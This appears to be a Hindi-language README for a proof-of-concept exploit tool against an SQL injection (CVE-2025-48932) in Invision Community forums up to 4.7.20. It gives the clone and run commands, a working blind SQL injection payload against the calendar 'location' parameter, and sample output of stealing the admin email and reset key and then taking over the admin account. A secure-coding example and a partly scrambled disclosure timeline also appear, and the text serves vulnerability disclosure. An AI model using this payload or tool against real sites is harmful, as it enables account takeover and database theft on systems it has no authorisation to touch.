
यह एक प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट है जो Invision Community संस्करण <= 4.7.20 में SQL इंजेक्शन भेद्यता को प्रदर्शित करता है।
यह टूल केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए प्रदान किया गया है।
CVE आईडी: CVE-2025-48932
गंभीरता: उच्च
CVSS स्कोर: TBD
प्रभावित संस्करण: 4.7.21 से पहले के Invision Community 4.x संस्करण
यह भेद्यता /applications/calendar/modules/front/calendar/view.php स्क्रिप्ट में मौजूद है। IPS\calendar\modules\front\calendar\view::search() विधि में location अनुरोध पैरामीटर के माध्यम से पारित उपयोगकर्ता इनपुट को SQL क्वेरी में उपयोग करने से पहले ठीक से सैनिटाइज़ नहीं किया जाता है।
यह दूरस्थ, अनधिकृत (unauthenticated) हमलावरों को निम्नलिखित की अनुमति देता है:
शोषण के लिए पूर्वापेक्षाएँ:
नोट: जबकि Invision Community 4.x संस्करण < 4.7.18 में SQL इंजेक्शन भेद्यताएँ एडमिन पासवर्ड रीसेट करके एडमिन खाते पर कब्ज़ा और RCE का कारण बन सकती थीं, संस्करण 4.7.18 ने पासवर्ड रीसेट तंत्र में एक नई सुरक्षा एन्क्रिप्शन कुंजी पेश की, जिससे यह हमला वेक्टर अधिक कठिन हो गया है।
रिपॉजिटरी क्लोन करें:
git clone https://github.com/yourusername/invision-sqli-exploit.git
cd invision-sqli-exploit
निर्भरताएँ स्थापित करें:
pip install -r requirements.txt
python invision-sqli-exploit.py -u http://target.com/forum/
python invision-sqli-exploit.py -u https://example.com/community/ -v
==================================================
Invision Community <= 4.7.20 SQL Injection Exploit
CVE-2025-48932
==================================================
Target: http://example.com/forum/
==================================================
[*] Fetching CSRF token...
[+] CSRF token found: abc123def456...
[*] Step 1: Extracting admin email address...
[*] Extracting data: [email protected]
[+] Admin email: [email protected]
[!] Step 2: Manual action required!
Please follow these steps:
1. Navigate to: http://example.com/forum/index.php?/lostpassword/
2. Request a password reset using email: [email protected]
3. Press ENTER when done...
[*] Step 3: Extracting password reset validation key...
[*] Extracting data: xyz789abc123...
[+] Reset key: xyz789abc123...
[*] Step 4: Resetting admin password...
==================================================
[+] EXPLOITATION SUCCESSFUL!
==================================================
Admin credentials:
Email: [email protected]
Password: Pwned1721234567
You can now login at: http://example.com/forum/index.php?/login/
यह एक्सप्लॉइट चार मुख्य चरणों में काम करता है:
स्क्रिप्ट पहले लक्षित वेबसाइट से CSRF टोकन प्राप्त करती है, जो आगामी अनुरोधों के लिए आवश्यक है।
बाइनरी सर्च एल्गोरिदम का उपयोग करके, एक्सप्लॉइट डेटाबेस से डेटा को अक्षर-दर-अक्षर निकालता है:
RLIKE फ़ंक्शन का उपयोग करता हैएडमिन का ईमेल पता निकालने के लिए core_members तालिका में क्वेरी करता है।
इंजेक्शन बिंदु:
location parameter → calendar/view.php → search() method
पेलोड उदाहरण:
'))OR(SELECT 1 RLIKE(IF(ORD(SUBSTR((SELECT email FROM core_members WHERE member_id=1),1,1))<128,0x28,0x31)))#
शोषण तकनीक: कुशल डेटा निष्कर्षण के लिए बाइनरी सर्च का उपयोग करने वाला बूलियन-आधारित ब्लाइंड SQL इंजेक्शन।
तत्काल कार्रवाइयाँ:
सुरक्षित कोडिंग प्रथाएँ:
सुरक्षित कोड का उदाहरण:
// Vulnerable code
$location = $_REQUEST['location'];
$query = "SELECT * FROM events WHERE location = '$location'";
// Secure code
$location = $_REQUEST['location'];
$query = $db->prepare("SELECT * FROM events WHERE location = ?");
$query->execute([$location]);
| तारीख | घटना |
|---|---|
| May 16, 2025 | विक्रेता को सूचित किया गया |
| May 27, 2025 | संस्करण 4.7.21 जारी किया गया |
डेवलपर:
नोट: यह सार्वजनिक रूप से प्रकटित भेद्यता जानकारी (CVE-2025-48932) पर आधारित एक स्वतंत्र कार्यान्वयन है
यह प्रोजेक्ट MIT लाइसेंस के अंतर्गत लाइसेंस प्राप्त है - विवरण के लिए LICENSE फ़ाइल देखें।
योगदान का स्वागत है! कृपया बेझिझक पुल रिक्वेस्ट सबमिट करें। बड़े बदलावों के लिए, कृपया पहले एक इश्यू खोलें ताकि आप जो बदलना चाहते हैं उस पर चर्चा की जा सके।
यह टूल MIT लाइसेंस के अंतर्गत वितरित किया जाता है। इस सॉफ़्टवेयर का उपयोग करके, आप निम्नलिखित से सहमत होते हैं:
याद रखें: अधिकांश क्षेत्राधिकारों में कंप्यूटर सिस्टम तक अनधिकृत पहुँच एक अपराध है और इसके गंभीर कानूनी परिणाम हो सकते हैं।
यदि आपको कोई सुरक्षा भेद्यता मिलती है, तो कृपया इसे सार्वजनिक करने से पहले विक्रेता को जिम्मेदारीपूर्वक सूचित करें।
| आर्गुमेंट | विवरण | आवश्यक |
|---|
-u, --url | लक्षित Invision Community बेस URL | हाँ |
-v, --verbose | डिबगिंग के लिए वर्बोज़ आउटपुट सक्षम करें | नहीं |
-h, --help | सहायता संदेश दिखाएँ और बाहर निकलें | नहीं |
| May 28, 2025 |
| CVE पहचानकर्ता का अनुरोध किया गया |
| May 28, 2025 | CVE-2025-48932 निर्धारित किया गया |
| July 23, 2025 | सार्वजनिक प्रकटीकरण |